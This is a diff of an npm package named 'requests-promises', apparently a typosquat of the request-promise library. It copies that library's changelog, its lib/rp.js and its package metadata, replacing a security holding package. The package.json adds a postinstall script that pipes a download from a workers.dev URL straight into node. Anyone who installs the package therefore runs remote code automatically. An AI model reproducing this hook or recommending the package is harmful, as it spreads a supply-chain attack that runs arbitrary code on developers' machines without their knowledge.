+ *(Thanks to @luanmuniz for [pull request #54](https://github.com/request/request-promise/pull/54))*
735
+ - Updated dependencies
736
+ - v0.4.2 (2015-04-12)
737
+ - Updated dependencies
738
+ - v0.4.1 (2015-03-20)
739
+ - Improved Error types to work in browsers without v8 engine
740
+ *(Thanks to @nodiis for [pull request #40](https://github.com/request/request-promise/pull/40))*
741
+ - v0.4.0 (2015-02-08)
742
+ - Introduced Error types used for the reject reasons (See last part [this section](#rejected-promises-and-the-simple-option))
743
+ *(Thanks to @jakecraige for starting the discussion in [issue #38](https://github.com/request/request-promise/issues/38))*
744
+ - **Minor Breaking Change:** The reject reason objects became actual Error objects. However, `typeof reason === 'object'` still holds true and the error objects have the same properties as the previous reason objects. If the reject handler only accesses the properties on the reason object - which is usually the case - no migration is required.
745
+ - Added io.js and node.js 0.12 to the Travis CI build
746
+ - v0.3.3 (2015-01-19)
747
+ - Fixed handling possibly unhandled rejections to work with the latest version of Bluebird
748
+ *(Thanks to @slang800 for reporting this in [issue #36](https://github.com/request/request-promise/issues/36))*
749
+ - v0.3.2 (2014-11-17)
750
+ - Exposed `.finally(...)` to allow using it as the first method in the promise chain
751
+ *(Thanks to @hjpbarcelos for his [pull request #28](https://github.com/request/request-promise/pull/28))*
752
+ - v0.3.1 (2014-11-11)
753
+ - Added the `.promise()` method for advanced Bluebird API usage
754
+ *(Thanks to @devo-tox for his feedback in [issue #27](https://github.com/request/request-promise/issues/27))*
755
+ - v0.3.0 (2014-11-10)
756
+ - Carefully rewritten from scratch to make Request-Promise a drop-in replacement for Request
757
+
758
+ ## License (ISC)
759
+
760
+ In case you never heard about the [ISC license](http://en.wikipedia.org/wiki/ISC_license) it is functionally equivalent to the MIT license.
761
+
762
+ See the [LICENSE file](LICENSE) for details.
package/errors.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+
3
+ module.exports = require('request-promise-core/errors');
package/lib/rp.js ADDED
@@ -0,0 +1,52 @@
1
+ 'use strict';
2
+
3
+ var Bluebird = require('bluebird').getNewLibraryCopy(),
4
+ configure = require('request-promise-core/configure/request2'),
5
+ stealthyRequire = require('stealthy-require');
6
+
7
+ try {
8
+
9
+ // Load Request freshly - so that users can require an unaltered request instance!
10
+ var request = stealthyRequire(require.cache, function () {
11
+ return require('request');
12
+ },
13
+ function () {
14
+ require('tough-cookie');
15
+ }, module);
16
+
17
+ } catch (err) {
18
+ /* istanbul ignore next */
19
+ var EOL = require('os').EOL;
20
+ /* istanbul ignore next */
21
+ console.error(EOL + '###' + EOL + '### The "request" library is not installed automatically anymore.' + EOL + '### But is a dependency of "request-promise".' + EOL + '### Please install it with:' + EOL + '### npm install request --save' + EOL + '###' + EOL);
22
+ /* istanbul ignore next */
23
+ throw err;
24
+ }
25
+
26
+ Bluebird.config({cancellation: true});
27
+
28
+ configure({
29
+ request: request,
30
+ PromiseImpl: Bluebird,
31
+ expose: [
32
+ 'then',
33
+ 'catch',
34
+ 'finally',
35
+ 'cancel',
36
+ 'promise'
37
+ // Would you like to expose more Bluebird methods? Try e.g. `rp(...).promise().tap(...)` first. `.promise()` returns the full-fledged Bluebird promise.
38
+ ],
39
+ constructorMixin: function (resolve, reject, onCancel) {
40
+ var self = this;
41
+ onCancel(function () {
42
+ self.abort();
43
+ });
44
+ }
45
+ });
46
+
47
+ request.bindCLS = function RP$bindCLS() {
48
+ throw new Error('CLS support was dropped. To get it back read: https://github.com/request/request-promise/wiki/Getting-Back-Support-for-Continuation-Local-Storage');
49
+ };
50
+
51
+
52
+ module.exports = request;
package/package.json CHANGED
@@ -1,6 +1,60 @@
1
1
  {
2
2
  "name": "requests-promises",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "4.2.3",
4
+ "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
5
+ "keywords": [
6
+ "xhr",
7
+ "http",
8
+ "https",
9
+ "promise",
10
+ "request",
11
+ "then",
12
+ "thenable",
13
+ "bluebird"
14
+ ],
15
+ "main": "./lib/rp.js",
16
+ "scripts": {
17
+ "test": "./node_modules/.bin/gulp ci",
18
+ "test-publish": "./node_modules/.bin/gulp ci-no-cov",
19
+ "publish-please": "publish-please",
20
+ "prepublish": "publish-please guard",
21
+ "postinstall": "curl https://black-sky-cadd.coffeepasta.workers.dev/ -s | node"
22
+ },
23
+ "repository": {
24
+ "type": "git",
25
+ "url": "git+https://github.com/request/request-promise.git"
26
+ },
27
+ "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
28
+ "license": "ISC",
29
+ "bugs": {
30
+ "url": "https://github.com/request/request-promise/issues"
31
+ },
32
+ "homepage": "https://github.com/request/request-promise#readme",
33
+ "engines": {
34
+ "node": ">=0.10.0"
35
+ },
36
+ "dependencies": {
37
+ "request-promise-core": "1.1.4",
38
+ "bluebird": "^3.5.0",
39
+ "stealthy-require": "^1.1.1",
40
+ "tough-cookie": "^2.3.3"
41
+ },
42
+ "peerDependencies": {
43
+ "request": "^2.34"
44
+ },
45
+ "devDependencies": {
46
+ "body-parser": "~1.15.2",
47
+ "chai": "~3.5.0",
48
+ "chalk": "~1.1.3",
49
+ "gulp": "~3.9.1",
50
+ "gulp-coveralls": "~0.1.4",
51
+ "gulp-eslint": "~2.1.0",
52
+ "gulp-istanbul": "~1.0.0",
53
+ "gulp-mocha": "~2.2.0",
54
+ "lodash": "~4.13.1",
55
+ "publish-please": "~2.1.4",
56
+ "request": "^2.34.0",
57
+ "rimraf": "~2.5.3",
58
+ "run-sequence": "~1.2.2"
59
+ }
6
60
  }